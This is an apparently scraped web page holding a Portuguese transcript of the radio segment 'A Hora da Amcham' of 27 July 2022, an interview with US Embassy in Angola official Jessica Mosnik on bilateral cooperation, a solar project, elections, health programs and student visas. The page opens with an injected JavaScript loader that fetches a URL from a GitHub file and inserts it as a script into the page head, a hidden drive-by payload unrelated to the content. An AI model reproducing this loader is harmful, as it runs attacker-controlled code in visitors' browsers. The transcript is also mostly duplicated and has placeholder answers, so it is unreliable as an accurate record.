;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); A Hora da Amcham, edição de 27 de Julho de 2022 | RadioPlayDigital
A Hora da Amcham, edição de 27 de Julho de 2022

Host: Bom dia, ouvintes do programa a Hora da AmCham, em especial aos da rubrica da Embaixada dos EUA. Este é o espaço radiofónico, que leva ao conhecimento do público as mais recentes notícias sobre o que de mais importante se faz e acontece na Embaixada dos EUA em Angola.     

     

Hoje, temos o prazer de receber no programa, pela primeira vez, a senhora Jessica Mosnik, Directora de Recursos Humanos da Embaixada dos Estados Unidos da América.

     

Apesar de estarmos numa fase menos impactante da Covid-19 em Angola, e no resto do mundo, continuamos a manter esta conversa por via das novas tecnologias de informação em observância ao distanciamento social.   

 

Host: Senhora Jessica, bom dia e sejam bem-vinda à rubrica Embaixada dos EUA na Hora da AmCham!    

Answer (Jessica):

Bom dia, senhor Joel Costa, bom dia também aos ouvintes da Rubrica Embaixada dos EUA na Hora da AmCham. Grata pelo convite para estar nesta rubrica, que trata da promoção dos laços bilaterais entre os Estados Unidos da América e Angola.   

  1. Host: Ora, vamos falar de várias questões de interesse público ligadas à cooperação bilateral entre Angola e os Estados Unidos. E mais lá para frente, iremos conhecer um pouco sobre a senhora Jessica …

Falemos da cooperação EUA/África. Os Estados Unidos convocaram para Dezembro uma Cimeira de Líderes entre o seu país e o continente. Quais são os propósitos?

Answer (Jessica):

Antes demais, gostaria em nome da Embaixada Dos Estados Unidos reiterar que os Estados Unidos apresentam as suas condolências pela morte do ex-presidente Angolano José Eduardo dos Santos. Ele desempenhou um papel consequente na história de Angola. Os Estados Unidos vão continuar a reforçar a parceria estratégica com Angola e em aprofundar a nossa relação.

Quanto a sua questão. De facto Joel, o Presidente Joe Biden fez uma declaração sobre este assunto. Ele mostrou-se ansioso em receber os líderes de todo o continente Africano em Washington, DC, de 13 a 15 de Dezembro de 2022, para a Cimeira de Líderes EUA-África. Este certame demonstrará o compromisso duradouro dos Estados Unidos com a África, e destacará a importância das relações EUA-África para o aumento da cooperação em prioridades globais compartilhadas.

A Cimeira de Líderes EUA-África se baseará nos nossos valores compartilhados para promover melhor um novo engajamento económico; reforçar o compromisso EUA-África com a democracia e os direitos humanos; mitigar o impacto da COVID-19, e de futuras pandemias; trabalhar em colaboração para fortalecer a saúde regional e global; promover a segurança alimentar; promover a paz e a segurança; responder à crise climática; e ampliar os laços da diáspora.

Nesta cimeira, teremos governos Africanos, sociedade civil, comunidades da diáspora nos Estados Unidos e o sector privado para continuar a fortalecer a nossa visão compartilhada para o futuro das relações EUA-África.

  1. Host: Antes deste anúncio, o Presidente Biden falou do investimento dos EUA em energias renováveis em Angola. Trata-se de um projecto já inaugurado pelo Presidente Lourenço.

O que nos pode adiantar sobre este assunto?

Answer (Jessica):

Estamos muito orgulhosos quanto a isto. De facto, o Presidente Biden anunciou, na Cimeira do G-7, que o Governo dos Estados Unidos facilitaram novas parcerias entre duas empresas Americanas e o Governo de Angola para investir dois mil milhões de dólares para desenvolver um projecto solar significativo em Angola.

Para Biden esta parceria irá “ajudar Angola a cumprir os seus objectivos climáticos e a responder às suas necessidades energéticas enquanto cria novos mercados para tecnologias Americanas e bons empregos em Angola”.

 

E para concretizar esta anúncio, esteve em Benguela, no Biópio e Baia Farta, o embaixador Tulinabo Mushingi, que numa delegação do Presidente Lourenço testemunhou a inauguração desta empreitada, que tem a empresa SunAfrica, como uma das construtoras.

  • Trata-se do maior projecto solar na África Subsaariana e deverá dar energia para cerca de 10 províncias e cerca de 10 milhões de pessoas. Este projecto também vai fornecer água potável às populações das províncias do Cunene, Namibe, Cuando Cubango e Huíla.

Queremos destacar que as empresas dos EUA estão a investir em Angola, incorporando quatro elementos-chave nos seus modelos de negócio; fornecem tecnologia e formação, criam empregos, promovem práticas comerciais transparentes e, por último, utilizam conteúdo local.

  1. Host: Abordemos agora questões sobre a cooperação bilateral na ressaca do 4 de Julho, Dia da Independência dos EUA. Qual é o retrato que nos pode traçar três anos depois da última vez em que se celebrou esta festividade em Angola, devido a Covid-19?

Answer (Jessica):

Muito obrigada pela pergunta, Joel.  De facto, a Covid-19 obrigou-nos a este hiato de três anos sem as celebrações do 4 de Julho, pelo menos, com a presença de convidados.

Este ano, organizámos uma recepção com cerca de duas centenas de convidados, entre altos membros do governo, membros do corpo diplomático, da sociedade civil, da comunidade Americana no país, jornalistas, agentes culturais, oficiais das Forças Armadas Angolanas e da polícia nacional, dentre outros convidados.

Foi uma noite memorável, por quanto, fomos mais ousados do que nas celebrações passadas. Tivemos um pouco de tudo, das bebidas e comidas Americanas, aos pratos típicos de Angola, bem como uma representação das bandeiras dos 50 Estados, que compõem os Estados Unidos, e a simbologia da cultura Motards com as famosas motorizadas Harley-Davidson.

  1. Host: De acordo com relatos, o senhor Embaixador Mushingi apresentou um discurso carregado de mensagens em prol do reforço da cooperação bilateral. Poderia fazer-nos um resumo desta comunicação com os pontos mais predominantes?

Answer (Jessica):

Com certeza, Joel. O discurso baseou-se nos três pilares das metas e objectivos da nossa missão em Angola, que são: segurança; prosperidade económica e boa governação.

Então, o senhor embaixador Mushingi reiterou que desde a luta contra a COVID-19 até ao trabalho na segurança regional e marítima, passando pela melhoria das condições para atrair empresas Americanas para Angola, a nossa parceria estratégica continua a fortalecer-se. 

Apesar das limitações de viagem durante a pandemia, no ano passado, o embaixador sublinhou as visitas a Angola do Secretário de Estado Adjunto, o Subsecretário do Tesouro, o Comandante do Comando dos Estados Unidos para a África, as duas delegações de líderes do Congresso.

E do outro, em Washington, tivemos o Presidente Lourenço, o Ministro de Estado Furtado, o Ministro das Relações Exteriores Tete António, e outras visitas de trabalho de outros líderes Angolanos para construir novas oportunidades.

  1. Host: Neste discurso houve com certeza uma abordagem sobre a cooperação económico. O que há de novo nesta frente?

Answer (Jessica):

Boa questão, Joel. De facto, o senhor embaixador vincou que a prioridade da nossa missão cá. Isto passa em ver muitas empresas Americanas estabelecidas em Angola. Por isso, sublinhou o importante papel das empresas americanas em Angola, tais como a Chevron e ExxonMobil, com décadas de presença em Angola, e as recém-chegadas como a Africell, Quanten e Sun Africa, que trouxeran qualidade, tecnologia, treinamento, “know-how” Americano, transparência e novos empregos.

Por meio de iniciativas como expandir o acesso a energia mais limpa e acessível, e reduzir os custos do serviço de telefonia móvel, essas empresas estão a construir um futuro melhor para Americanos e Angolanos.

Outra nota é o facto, que os Estados Unidos também continuam a apoiar os esforços de Angola para reduzir a corrupção, responsabilizar os que desviaram os recursos do país, e aumentar a transparência e a responsabilização. 

Por isso, o nosso trabalho com procuradores, banqueiros, o Ministério das Finanças, e a sociedade civil visa a ajudar a criar um ambiente de negócios que oferece confiança aos investidores.  Isto contribui para Angola alcançar o seu objectivo de diversificar a economia e mais importante, criar empregos para o povo angolano.

  1. Host: Por outro lado, como os Estados Unidos encaram este período eleitoral em Angola?

Answer (Jessica):

Dois mil e vinte-dois (2022) é um ano importante para Angola.  Em abril, os Angolanos celebraram duas décadas de paz – de substituírem espingardas, tanques e minas terrestres por canetas, arados, e iPhones.

No próximo mês, os Angolanos vão às urnas.  Exortamos a todos os eleitores elegíveis a participarem livremente no processo de modo pacífico e transparente. E depois de todos os votos terem sido contados, recordemos que os vencedores e vencidos são todos filhos e filhas de Angola que contribuíram para o futuro do país ao participarem no processo eleitoral.

O embaixador recordou ainda que o nosso sonho, nos EUA, é realizar o que o antigo Presidente Abraham Lincoln dizia: “um governo do povo, pelo povo e para o povo”.

Isto para dizer que os Estados Unidos da América se orgulham de estar com Angola, pois juntos continuamos a construir sociedades mais prósperas, seguras e democráticas. Vamos continuar a avançar juntos como parceiros para o progresso.

  1. Host: Caros ouvintes reiterados os votos de muito bom dia. Estamos em conversa com a senhora Jessica Mosnik, Directora de Recursos Humanos da Embaixada Americana, nesta rubrica a Embaixada dos EUA na Hora da AmCham.

Falámos sobre energias renováveis, e isto implica a luta contra as alterações climáticas. O que os Estados Unidos fazem em prol da preservação do ambiente em Angola?

Answer (Jessica):

O Governo dos EUA em parceria com o Governo de Angola através do Ministério da Agricultura e Pescas promoveu um seminário sobre o Inventário Florestal Nacional de Angola.

O referido evento contou com o apoio do Serviço Florestal dos EUA e da Agência dos EUA para o Desenvolvimento Internacional (USAID) em colaboração com o Instituto de Desenvolvimento Florestal (IDF) e o Centro da África Austral para Mudanças Climáticas e Gestão Adaptativa da Terra, e tem como como objectivo auscultar os especialistas e identificar as lacunas existentes no sector, com vista a uma melhor planificação e enriquecimento da gestão florestal sustentável em Angola.

O evento que decorreu de 28 a 29 de Junho no auditório do CETAC, no Huambo, juntou especialistas florestais de todas as províncias para discutir os desafios e as oportunidades do Inventário Florestal Nacional de Angola, assim como identificou partes interessadas para cooperação futura, e em conjunto avaliar os próximos passos. Esta actividade visou colaborar com o governo Angolano e os parceiros de Organizações Não Governamentais com o objectivo de contribuir na melhoria da conservação da biodiversidade, gestão sustentável das florestas e promoção de melhores práticas de gestão de recursos naturais.

Quero dizer que o Serviço Florestal dos EUA é uma agência do governo Americano com mais de 115 anos de experiência na gestão de florestas e outras terras de carácter público, e tem a missão de manter e melhorar a saúde, diversidade e produtividade das florestas e áreas de pastagem nos EUA.

Os seus programas ao redor do mundo abrangem mais de 90 países. Em Angola a Serviço Florestal dos EUA trabalha junto às instituições do Governo de Angola, NGOs, empresas privadas, e comunidades locais, em diversos programas e projectos relacionados ao uso público, planeamento e gestão de áreas protegidas, gestão florestal comunitária e prevenção e combate ao fogo, entre outros.

  1. Host: Sabemos que a USAID também tem um programa robusto no domínio do planeamento familiar. Como tem sido a implementação deste programa em Angola?

Answer (Jessica):

Pois, o programa de assistência à saúde do Governo dos Estados Unidos para Angola tem trabalhado em estreita colaboração com o Ministério da Saúde de Angola para introduzir a formação do módulo de Planeamento Familiar nas Escolas Provinciais de Enfermagem.

Assim e através do projeto Saúde para Todos da Agência dos Estados Unidos para o Desenvolvimento Internacional (USAID), apoiámos a elaboração do primeiro currículo de Planeamento Familiar na Escola de Formação de Técnicos de Saúde do Huambo, ministrado pela Professora Esmeralda Braga.

A introdução de módulos focados em Planeamento Familiar como parte do currículo de treinamento de enfermagem está a acontecer em quatro escolas de enfermagem, localizadas em quatro províncias apoiadas pela USAID com intervenções de Planeamento Familiar.

Os professores formados em Planeamento Familiar também têm acesso aos cursos digitais de planeamento familiar na Kassai, uma plataforma de e-learning apoiada pela USAID.

O apoio às escolas de enfermagem vai além da formação. Garantir um treinamento preciso e confiável em planejamento familiar para futuros provedores de saúde é um ingrediente-chave para promover programas bem-sucedidos e serviços de qualidade. Além disso, uma vez que a maioria dos alunos nas escolas de enfermagem são jovens com necessidades de planejamento familiar não atendidas, a introdução de serviços de PF na escola permite que eles recebam e pratiquem aconselhamento adequado de planejamento familiar, garantindo que informações abrangentes sejam fornecidas e facilitando a seleção de um método de contracepção apropriado para atender às suas necessidades. Os serviços ficam mais próximos dos alunos, estão disponíveis a qualquer hora da semana e atendem às suas necessidades imediatas.

  1. Host: Este programa já resultou em algo tangível?

Answer (Jessica):

Com o apoio da USAID, as salas de Planeamento Familiar das Escolas de Enfermagem de Luanda e Huambo estão já a garantir uma escolha informada e a proporcionar aos alunos o acesso ao planeamento familiar voluntário. Desde Outubro de 2021 em Luanda e a partir de Abril de 2022 no Huambo, este serviço tem prestado mais de 600 consultas de planeamento familiar a jovens que estudam nestes estabelecimentos, com distribuição equitativa de género entre os beneficiários.

Recentemente, um total de 111 docentes das escolas de enfermagem de Luanda, Huambo, Lunda Sul e Malanje foram certificados em Planeamento Familiar pelo Departamento de Cuidados de Saúde Primários do Ministério da Saúde e pela Associação Angolana de Ginecologistas e Obstetras.

O projeto Saúde para Todos da USAID continuará a trabalhar com escolas de enfermagem direcionadas, fortalecendo as suas respostas e serviços, tanto no treinamento quanto na resposta à Saúde Sexual Reprodutiva.

  1. Host: Ainda sobre educação: O ano lectivo nos Estados Unidos está as portas. Alguma informação sobre visto de estudante?

Answer (Jessica):

Como sabem, nos Estados Unidos, o ano lectivo começa entre os meses de Agosto e de Setembro, e termina entre Maio e Junho. O ano lectivo tem semestres que duram entre quatro e cinco meses e um período de férias que vai de Junho a Agosto.

Por isso, gostaríamos de alertar os estudantes, que planeiam viajar para os EUA no semestre de Outono, que solicitem já os seus vistos o mais rápido possível. Não esperem até o último minuto!

Estamos a passar este alerta para evitar que eles se inscrevam tarde demais, para chegarem à aula a tempo.

Por outro lado, mesmo que eles consigam a entrevista antes da viagem, o visto pode atrasar devido a falta de documentos ou outros procedimentos necessários.

Queremos recomendar ainda que nunca devem comprar uma passagem de avião antes de terem o visto em mãos.

 

  1. Host: Os Estados Unidos têm sido um promotor dos feitos e legado de Nelson Mandela. Dia 18 de Julho celebrou-se o Dia Internacional Nelson Mandela. O que dizer sobre esta efeméride?

 

Answer (Jessica): 

 

De facto, os Estados Unidos continuam a ser um dos grandes promotores do legado de Madiba. Então, No Mandela Day, homenageamos o primeiro líder democraticamente eleito da África do Sul, Nelson Mandela, que dedicou a sua vida à luta pela igualdade e ajudou a liderar a transição daquele país do Apartheid para a democracia. Seu legado vive muito além das fronteiras da África do Sul.

 

Por isto, os Estados Unidos atribuíram o seu nome à bolsa Mandela Washington Fellowship, ao abrigo da Iniciativa para Jovens Líderes Africanos, que todos os anos leva às Universidades dos Estados Unidos mais de 700 jovens talentosos Africanos, incluindo dezenas de Angolanos.

 

Lançada em 2014, a Mandela Washington Fellowship é o principal programa da iniciativa Jovens Líderes Africanos e incorpora o compromisso dos EUA de investir no futuro de África. A YALI foi criada em 2010, e apoia os jovens Africanos à medida que estimulam o crescimento económico e a prosperidade, fortalecem a governação democrática e melhoram a paz e a segurança em África. Desde 2014, quase 5.100 jovens líderes de todos os países da África Subsaariana participaram da Bolsa Mandela Washington.

 

  1. Host: Obrigado pela informação. Eis aí uma boa nova. A sociedade civil Angolana tem mais uma oportunidade para conseguir financiamento através do Fundo de Auto-Ajuda do Embaixador dos EUA.

 

Antes de encerrarmos o programa. Falemos agora sobre a senhora Jessica Moznik. Quem é e o que faz na Embaixada dos EUA?

 

Answer (Jessica):  ANSWER FROM JESSICA’S OWN WORDS

 

  1. Host: Há quanto tempo está em Angola e o que vos motivou a trabalhar cá?

 

Answer (Jessica):  ANSWER FROM JESSICA’S OWN WORDS

 

  1. Host: Quanto tempo deve ficar cá e o que mais gosta de Angola?

 

Answer (Jessica):  ANSWER FROM JESSICA’S OWN WORDS

 

  1. HOST: Caros ouvintes, chegamos ao fim de mais uma rubrica a Embaixada dos EUA na Hora da AmCham. Hoje, tivemos a senhora Jessica Mosnik, Directora dos Recursos Humanos da Embaixada dos Estados Unidos da América. Para já, muito obrigado por esta entrevista! 

 

Answer (Jessica):

Host: Bom dia, ouvintes do programa a Hora da AmCham, em especial aos da rubrica da Embaixada dos EUA. Este é o espaço radiofónico, que leva ao conhecimento do público as mais recentes notícias sobre o que de mais importante se faz e acontece na Embaixada dos EUA em Angola.     

     

Hoje, temos o prazer de receber no programa, pela primeira vez, a senhora Jessica Mosnik, Directora de Recursos Humanos da Embaixada dos Estados Unidos da América.

     

Apesar de estarmos numa fase menos impactante da Covid-19 em Angola, e no resto do mundo, continuamos a manter esta conversa por via das novas tecnologias de informação em observância ao distanciamento social.   

 

Host: Senhora Jessica, bom dia e sejam bem-vinda à rubrica Embaixada dos EUA na Hora da AmCham!    

Answer (Jessica):

Bom dia, senhor Joel Costa, bom dia também aos ouvintes da Rubrica Embaixada dos EUA na Hora da AmCham. Grata pelo convite para estar nesta rubrica, que trata da promoção dos laços bilaterais entre os Estados Unidos da América e Angola.   

  1. Host: Ora, vamos falar de várias questões de interesse público ligadas à cooperação bilateral entre Angola e os Estados Unidos. E mais lá para frente, iremos conhecer um pouco sobre a senhora Jessica …

Falemos da cooperação EUA/África. Os Estados Unidos convocaram para Dezembro uma Cimeira de Líderes entre o seu país e o continente. Quais são os propósitos?

Answer (Jessica):

Antes demais, gostaria em nome da Embaixada Dos Estados Unidos reiterar que os Estados Unidos apresentam as suas condolências pela morte do ex-presidente Angolano José Eduardo dos Santos. Ele desempenhou um papel consequente na história de Angola. Os Estados Unidos vão continuar a reforçar a parceria estratégica com Angola e em aprofundar a nossa relação.

Quanto a sua questão. De facto Joel, o Presidente Joe Biden fez uma declaração sobre este assunto. Ele mostrou-se ansioso em receber os líderes de todo o continente Africano em Washington, DC, de 13 a 15 de Dezembro de 2022, para a Cimeira de Líderes EUA-África. Este certame demonstrará o compromisso duradouro dos Estados Unidos com a África, e destacará a importância das relações EUA-África para o aumento da cooperação em prioridades globais compartilhadas.

A Cimeira de Líderes EUA-África se baseará nos nossos valores compartilhados para promover melhor um novo engajamento económico; reforçar o compromisso EUA-África com a democracia e os direitos humanos; mitigar o impacto da COVID-19, e de futuras pandemias; trabalhar em colaboração para fortalecer a saúde regional e global; promover a segurança alimentar; promover a paz e a segurança; responder à crise climática; e ampliar os laços da diáspora.

Nesta cimeira, teremos governos Africanos, sociedade civil, comunidades da diáspora nos Estados Unidos e o sector privado para continuar a fortalecer a nossa visão compartilhada para o futuro das relações EUA-África.

  1. Host: Antes deste anúncio, o Presidente Biden falou do investimento dos EUA em energias renováveis em Angola. Trata-se de um projecto já inaugurado pelo Presidente Lourenço.

O que nos pode adiantar sobre este assunto?

Answer (Jessica):

Estamos muito orgulhosos quanto a isto. De facto, o Presidente Biden anunciou, na Cimeira do G-7, que o Governo dos Estados Unidos facilitaram novas parcerias entre duas empresas Americanas e o Governo de Angola para investir dois mil milhões de dólares para desenvolver um projecto solar significativo em Angola.

Para Biden esta parceria irá “ajudar Angola a cumprir os seus objectivos climáticos e a responder às suas necessidades energéticas enquanto cria novos mercados para tecnologias Americanas e bons empregos em Angola”.

 

E para concretizar esta anúncio, esteve em Benguela, no Biópio e Baia Farta, o embaixador Tulinabo Mushingi, que numa delegação do Presidente Lourenço testemunhou a inauguração desta empreitada, que tem a empresa SunAfrica, como uma das construtoras.

  • Trata-se do maior projecto solar na África Subsaariana e deverá dar energia para cerca de 10 províncias e cerca de 10 milhões de pessoas. Este projecto também vai fornecer água potável às populações das províncias do Cunene, Namibe, Cuando Cubango e Huíla.

Queremos destacar que as empresas dos EUA estão a investir em Angola, incorporando quatro elementos-chave nos seus modelos de negócio; fornecem tecnologia e formação, criam empregos, promovem práticas comerciais transparentes e, por último, utilizam conteúdo local.

  1. Host: Abordemos agora questões sobre a cooperação bilateral na ressaca do 4 de Julho, Dia da Independência dos EUA. Qual é o retrato que nos pode traçar três anos depois da última vez em que se celebrou esta festividade em Angola, devido a Covid-19?

Answer (Jessica):

Muito obrigada pela pergunta, Joel.  De facto, a Covid-19 obrigou-nos a este hiato de três anos sem as celebrações do 4 de Julho, pelo menos, com a presença de convidados.

Este ano, organizámos uma recepção com cerca de duas centenas de convidados, entre altos membros do governo, membros do corpo diplomático, da sociedade civil, da comunidade Americana no país, jornalistas, agentes culturais, oficiais das Forças Armadas Angolanas e da polícia nacional, dentre outros convidados.

Foi uma noite memorável, por quanto, fomos mais ousados do que nas celebrações passadas. Tivemos um pouco de tudo, das bebidas e comidas Americanas, aos pratos típicos de Angola, bem como uma representação das bandeiras dos 50 Estados, que compõem os Estados Unidos, e a simbologia da cultura Motards com as famosas motorizadas Harley-Davidson.

  1. Host: De acordo com relatos, o senhor Embaixador Mushingi apresentou um discurso carregado de mensagens em prol do reforço da cooperação bilateral. Poderia fazer-nos um resumo desta comunicação com os pontos mais predominantes?

Answer (Jessica):

Com certeza, Joel. O discurso baseou-se nos três pilares das metas e objectivos da nossa missão em Angola, que são: segurança; prosperidade económica e boa governação.

Então, o senhor embaixador Mushingi reiterou que desde a luta contra a COVID-19 até ao trabalho na segurança regional e marítima, passando pela melhoria das condições para atrair empresas Americanas para Angola, a nossa parceria estratégica continua a fortalecer-se. 

Apesar das limitações de viagem durante a pandemia, no ano passado, o embaixador sublinhou as visitas a Angola do Secretário de Estado Adjunto, o Subsecretário do Tesouro, o Comandante do Comando dos Estados Unidos para a África, as duas delegações de líderes do Congresso.

E do outro, em Washington, tivemos o Presidente Lourenço, o Ministro de Estado Furtado, o Ministro das Relações Exteriores Tete António, e outras visitas de trabalho de outros líderes Angolanos para construir novas oportunidades.

  1. Host: Neste discurso houve com certeza uma abordagem sobre a cooperação económico. O que há de novo nesta frente?

Answer (Jessica):

Boa questão, Joel. De facto, o senhor embaixador vincou que a prioridade da nossa missão cá. Isto passa em ver muitas empresas Americanas estabelecidas em Angola. Por isso, sublinhou o importante papel das empresas americanas em Angola, tais como a Chevron e ExxonMobil, com décadas de presença em Angola, e as recém-chegadas como a Africell, Quanten e Sun Africa, que trouxeran qualidade, tecnologia, treinamento, “know-how” Americano, transparência e novos empregos.

Por meio de iniciativas como expandir o acesso a energia mais limpa e acessível, e reduzir os custos do serviço de telefonia móvel, essas empresas estão a construir um futuro melhor para Americanos e Angolanos.

Outra nota é o facto, que os Estados Unidos também continuam a apoiar os esforços de Angola para reduzir a corrupção, responsabilizar os que desviaram os recursos do país, e aumentar a transparência e a responsabilização. 

Por isso, o nosso trabalho com procuradores, banqueiros, o Ministério das Finanças, e a sociedade civil visa a ajudar a criar um ambiente de negócios que oferece confiança aos investidores.  Isto contribui para Angola alcançar o seu objectivo de diversificar a economia e mais importante, criar empregos para o povo angolano.

  1. Host: Por outro lado, como os Estados Unidos encaram este período eleitoral em Angola?

Answer (Jessica):

Dois mil e vinte-dois (2022) é um ano importante para Angola.  Em abril, os Angolanos celebraram duas décadas de paz – de substituírem espingardas, tanques e minas terrestres por canetas, arados, e iPhones.

No próximo mês, os Angolanos vão às urnas.  Exortamos a todos os eleitores elegíveis a participarem livremente no processo de modo pacífico e transparente. E depois de todos os votos terem sido contados, recordemos que os vencedores e vencidos são todos filhos e filhas de Angola que contribuíram para o futuro do país ao participarem no processo eleitoral.

O embaixador recordou ainda que o nosso sonho, nos EUA, é realizar o que o antigo Presidente Abraham Lincoln dizia: “um governo do povo, pelo povo e para o povo”.

Isto para dizer que os Estados Unidos da América se orgulham de estar com Angola, pois juntos continuamos a construir sociedades mais prósperas, seguras e democráticas. Vamos continuar a avançar juntos como parceiros para o progresso.

  1. Host: Caros ouvintes reiterados os votos de muito bom dia. Estamos em conversa com a senhora Jessica Mosnik, Directora de Recursos Humanos da Embaixada Americana, nesta rubrica a Embaixada dos EUA na Hora da AmCham.

Falámos sobre energias renováveis, e isto implica a luta contra as alterações climáticas. O que os Estados Unidos fazem em prol da preservação do ambiente em Angola?

Answer (Jessica):

O Governo dos EUA em parceria com o Governo de Angola através do Ministério da Agricultura e Pescas promoveu um seminário sobre o Inventário Florestal Nacional de Angola.

O referido evento contou com o apoio do Serviço Florestal dos EUA e da Agência dos EUA para o Desenvolvimento Internacional (USAID) em colaboração com o Instituto de Desenvolvimento Florestal (IDF) e o Centro da África Austral para Mudanças Climáticas e Gestão Adaptativa da Terra, e tem como como objectivo auscultar os especialistas e identificar as lacunas existentes no sector, com vista a uma melhor planificação e enriquecimento da gestão florestal sustentável em Angola.

O evento que decorreu de 28 a 29 de Junho no auditório do CETAC, no Huambo, juntou especialistas florestais de todas as províncias para discutir os desafios e as oportunidades do Inventário Florestal Nacional de Angola, assim como identificou partes interessadas para cooperação futura, e em conjunto avaliar os próximos passos. Esta actividade visou colaborar com o governo Angolano e os parceiros de Organizações Não Governamentais com o objectivo de contribuir na melhoria da conservação da biodiversidade, gestão sustentável das florestas e promoção de melhores práticas de gestão de recursos naturais.

Quero dizer que o Serviço Florestal dos EUA é uma agência do governo Americano com mais de 115 anos de experiência na gestão de florestas e outras terras de carácter público, e tem a missão de manter e melhorar a saúde, diversidade e produtividade das florestas e áreas de pastagem nos EUA.

Os seus programas ao redor do mundo abrangem mais de 90 países. Em Angola a Serviço Florestal dos EUA trabalha junto às instituições do Governo de Angola, NGOs, empresas privadas, e comunidades locais, em diversos programas e projectos relacionados ao uso público, planeamento e gestão de áreas protegidas, gestão florestal comunitária e prevenção e combate ao fogo, entre outros.

  1. Host: Sabemos que a USAID também tem um programa robusto no domínio do planeamento familiar. Como tem sido a implementação deste programa em Angola?

Answer (Jessica):

Pois, o programa de assistência à saúde do Governo dos Estados Unidos para Angola tem trabalhado em estreita colaboração com o Ministério da Saúde de Angola para introduzir a formação do módulo de Planeamento Familiar nas Escolas Provinciais de Enfermagem.

Assim e através do projeto Saúde para Todos da Agência dos Estados Unidos para o Desenvolvimento Internacional (USAID), apoiámos a elaboração do primeiro currículo de Planeamento Familiar na Escola de Formação de Técnicos de Saúde do Huambo, ministrado pela Professora Esmeralda Braga.

A introdução de módulos focados em Planeamento Familiar como parte do currículo de treinamento de enfermagem está a acontecer em quatro escolas de enfermagem, localizadas em quatro províncias apoiadas pela USAID com intervenções de Planeamento Familiar.

Os professores formados em Planeamento Familiar também têm acesso aos cursos digitais de planeamento familiar na Kassai, uma plataforma de e-learning apoiada pela USAID.

O apoio às escolas de enfermagem vai além da formação. Garantir um treinamento preciso e confiável em planejamento familiar para futuros provedores de saúde é um ingrediente-chave para promover programas bem-sucedidos e serviços de qualidade. Além disso, uma vez que a maioria dos alunos nas escolas de enfermagem são jovens com necessidades de planejamento familiar não atendidas, a introdução de serviços de PF na escola permite que eles recebam e pratiquem aconselhamento adequado de planejamento familiar, garantindo que informações abrangentes sejam fornecidas e facilitando a seleção de um método de contracepção apropriado para atender às suas necessidades. Os serviços ficam mais próximos dos alunos, estão disponíveis a qualquer hora da semana e atendem às suas necessidades imediatas.

  1. Host: Este programa já resultou em algo tangível?

Answer (Jessica):

Com o apoio da USAID, as salas de Planeamento Familiar das Escolas de Enfermagem de Luanda e Huambo estão já a garantir uma escolha informada e a proporcionar aos alunos o acesso ao planeamento familiar voluntário. Desde Outubro de 2021 em Luanda e a partir de Abril de 2022 no Huambo, este serviço tem prestado mais de 600 consultas de planeamento familiar a jovens que estudam nestes estabelecimentos, com distribuição equitativa de género entre os beneficiários.

Recentemente, um total de 111 docentes das escolas de enfermagem de Luanda, Huambo, Lunda Sul e Malanje foram certificados em Planeamento Familiar pelo Departamento de Cuidados de Saúde Primários do Ministério da Saúde e pela Associação Angolana de Ginecologistas e Obstetras.

O projeto Saúde para Todos da USAID continuará a trabalhar com escolas de enfermagem direcionadas, fortalecendo as suas respostas e serviços, tanto no treinamento quanto na resposta à Saúde Sexual Reprodutiva.

  1. Host: Ainda sobre educação: O ano lectivo nos Estados Unidos está as portas. Alguma informação sobre visto de estudante?

Answer (Jessica):

Como sabem, nos Estados Unidos, o ano lectivo começa entre os meses de Agosto e de Setembro, e termina entre Maio e Junho. O ano lectivo tem semestres que duram entre quatro e cinco meses e um período de férias que vai de Junho a Agosto.

Por isso, gostaríamos de alertar os estudantes, que planeiam viajar para os EUA no semestre de Outono, que solicitem já os seus vistos o mais rápido possível. Não esperem até o último minuto!

Estamos a passar este alerta para evitar que eles se inscrevam tarde demais, para chegarem à aula a tempo.

Por outro lado, mesmo que eles consigam a entrevista antes da viagem, o visto pode atrasar devido a falta de documentos ou outros procedimentos necessários.

Queremos recomendar ainda que nunca devem comprar uma passagem de avião antes de terem o visto em mãos.

 

  1. Host: Os Estados Unidos têm sido um promotor dos feitos e legado de Nelson Mandela. Dia 18 de Julho celebrou-se o Dia Internacional Nelson Mandela. O que dizer sobre esta efeméride?

 

Answer (Jessica): 

 

De facto, os Estados Unidos continuam a ser um dos grandes promotores do legado de Madiba. Então, No Mandela Day, homenageamos o primeiro líder democraticamente eleito da África do Sul, Nelson Mandela, que dedicou a sua vida à luta pela igualdade e ajudou a liderar a transição daquele país do Apartheid para a democracia. Seu legado vive muito além das fronteiras da África do Sul.

 

Por isto, os Estados Unidos atribuíram o seu nome à bolsa Mandela Washington Fellowship, ao abrigo da Iniciativa para Jovens Líderes Africanos, que todos os anos leva às Universidades dos Estados Unidos mais de 700 jovens talentosos Africanos, incluindo dezenas de Angolanos.

 

Lançada em 2014, a Mandela Washington Fellowship é o principal programa da iniciativa Jovens Líderes Africanos e incorpora o compromisso dos EUA de investir no futuro de África. A YALI foi criada em 2010, e apoia os jovens Africanos à medida que estimulam o crescimento económico e a prosperidade, fortalecem a governação democrática e melhoram a paz e a segurança em África. Desde 2014, quase 5.100 jovens líderes de todos os países da África Subsaariana participaram da Bolsa Mandela Washington.

 

  1. Host: Obrigado pela informação. Eis aí uma boa nova. A sociedade civil Angolana tem mais uma oportunidade para conseguir financiamento através do Fundo de Auto-Ajuda do Embaixador dos EUA.

 

Antes de encerrarmos o programa. Falemos agora sobre a senhora Jessica Moznik. Quem é e o que faz na Embaixada dos EUA?

 

Answer (Jessica):  ANSWER FROM JESSICA’S OWN WORDS

 

  1. Host: Há quanto tempo está em Angola e o que vos motivou a trabalhar cá?

 

Answer (Jessica):  ANSWER FROM JESSICA’S OWN WORDS

 

  1. Host: Quanto tempo deve ficar cá e o que mais gosta de Angola?

 

Answer (Jessica):  ANSWER FROM JESSICA’S OWN WORDS

 

  1. HOST: Caros ouvintes, chegamos ao fim de mais uma rubrica a Embaixada dos EUA na Hora da AmCham. Hoje, tivemos a senhora Jessica Mosnik, Directora dos Recursos Humanos da Embaixada dos Estados Unidos da América. Para já, muito obrigado por esta entrevista! 

 

Answer (Jessica): 

Joel Costa, obrigado pelo convite. Espero voltar a este programa mais vezes. 

Como sempre diz o senhor embaixador Mushingi … A Nossa Amizade Está Sempre a Subir.

Estamos juntos!!!

 

Joel Costa, obrigado pelo convite. Espero voltar a este programa mais vezes. 

Como sempre diz o senhor embaixador Mushingi … A Nossa Amizade Está Sempre a Subir.

Estamos juntos!!!

 

Data de Emissão: 27-07-2022 às 11:00

Relacionados